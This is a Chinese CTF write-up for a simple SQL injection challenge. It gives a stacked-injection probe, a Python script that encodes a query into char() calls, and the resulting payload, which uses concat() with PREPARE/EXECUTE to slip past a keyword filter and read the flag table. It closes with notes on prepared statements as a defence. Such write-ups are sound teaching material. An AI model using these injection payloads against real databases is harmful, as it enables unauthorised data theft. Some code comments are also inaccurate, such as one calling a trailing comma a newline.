前言
当时能力有限没有复盘这道题,现在来复盘一下这道比较简单的注入题。
解题思路
题目在输入select关键字时候回直接返回一个正则告诉你过滤了哪些内容。
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
明显题目过滤了select和点(’ . ‘)这样导致无法直接跨表进行查询。或者说无法使用联合查询之类的。尝试可以知道可以使用堆叠注入。
1';show tables;#
但是由于过滤了select可以使用concat()
将字符合成字符串而字符使用char()
将ASCII转换为字符,即可bypass过滤,然后使用预处理执行目标语句。
脚本
payload="0';set @s=concat(%s);PREPARE a FROM @s;EXECUTE a;"
exp = "select group_concat(flag) from supersqli.1919810931114514"
result=''
for i in exp:
result+="char(%s),"%(ord(i))
print(payload%(result[:-1]))#result[:-1]除去换行符
pyload
0';set @s=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(103),char(114),char(111),char(117),char(112),char(95),char(99),char(111),char(110),char(99),char(97),char(116),char(40),char(102),char(108),char(97),char(103),char(41),char(32),char(102),char(114),char(111),char(109),char(32),char(115),char(117),char(112),char(101),char(114),char(115),char(113),char(108),char(105),char(46),char(49),char(57),char(49),char(57),char(56),char(49),char(48),char(57),char(51),char(49),char(49),char(49),char(52),char(53),char(49),char(52));PREPARE a FROM @s;EXECUTE a;
非预期解
https://www.ctfwp.com/articals/2019qiangwang.html#%E9%9A%8F%E4%BE%BF%E6%B3%A8
相关知识
mysql批处理
设置变量:set @s=sql语句
预处理语句:prepare 预处理名字 from ‘sql语句’
执行预处理:execute 预处理名字 [using 变量]
例子:
mysql >> set @s="select group_concat(flag) from supersqli.1919810931114514"
mysql >> PREPARE a FROM @s
mysql >> EXECUTE a
知识拓展——PHP预处理
//预处理语句,?为绑定的参数
$mysql = $conn->prepare("INSERT INTO MyGuests (firstname, lastname, email) VALUES (?, ?, ?)");
//绑定参数第一个参数为参数列处理其余参数的数据类型。如下$firstname, $lastname, $email三个变量都为字符串类型所以,第一个参数为sss
$mysql->bind_param("sss", $firstname, $lastname, $email);
/*参数1有以下四种类型:
i - integer(整型)
d - double(双精度浮点型)
s - string(字符串)
b - BLOB(布尔值)*/
//下面设置参数并执行
$firstname = "John";
$lastname = "Doe";
$email = "john@example.com";
$stmt->execute();
php批处理的优点:
- 预处理语句大大减少了分析时间,只做了一次查询(虽然语句多次执行)。
- 绑定参数减少了服务器带宽,你只需要发送查询的参数,而不是整个语句。
- 预处理语句针对SQL注入是非常有用的,因为参数值发送后使用不同的协议,保证了数据的合法性。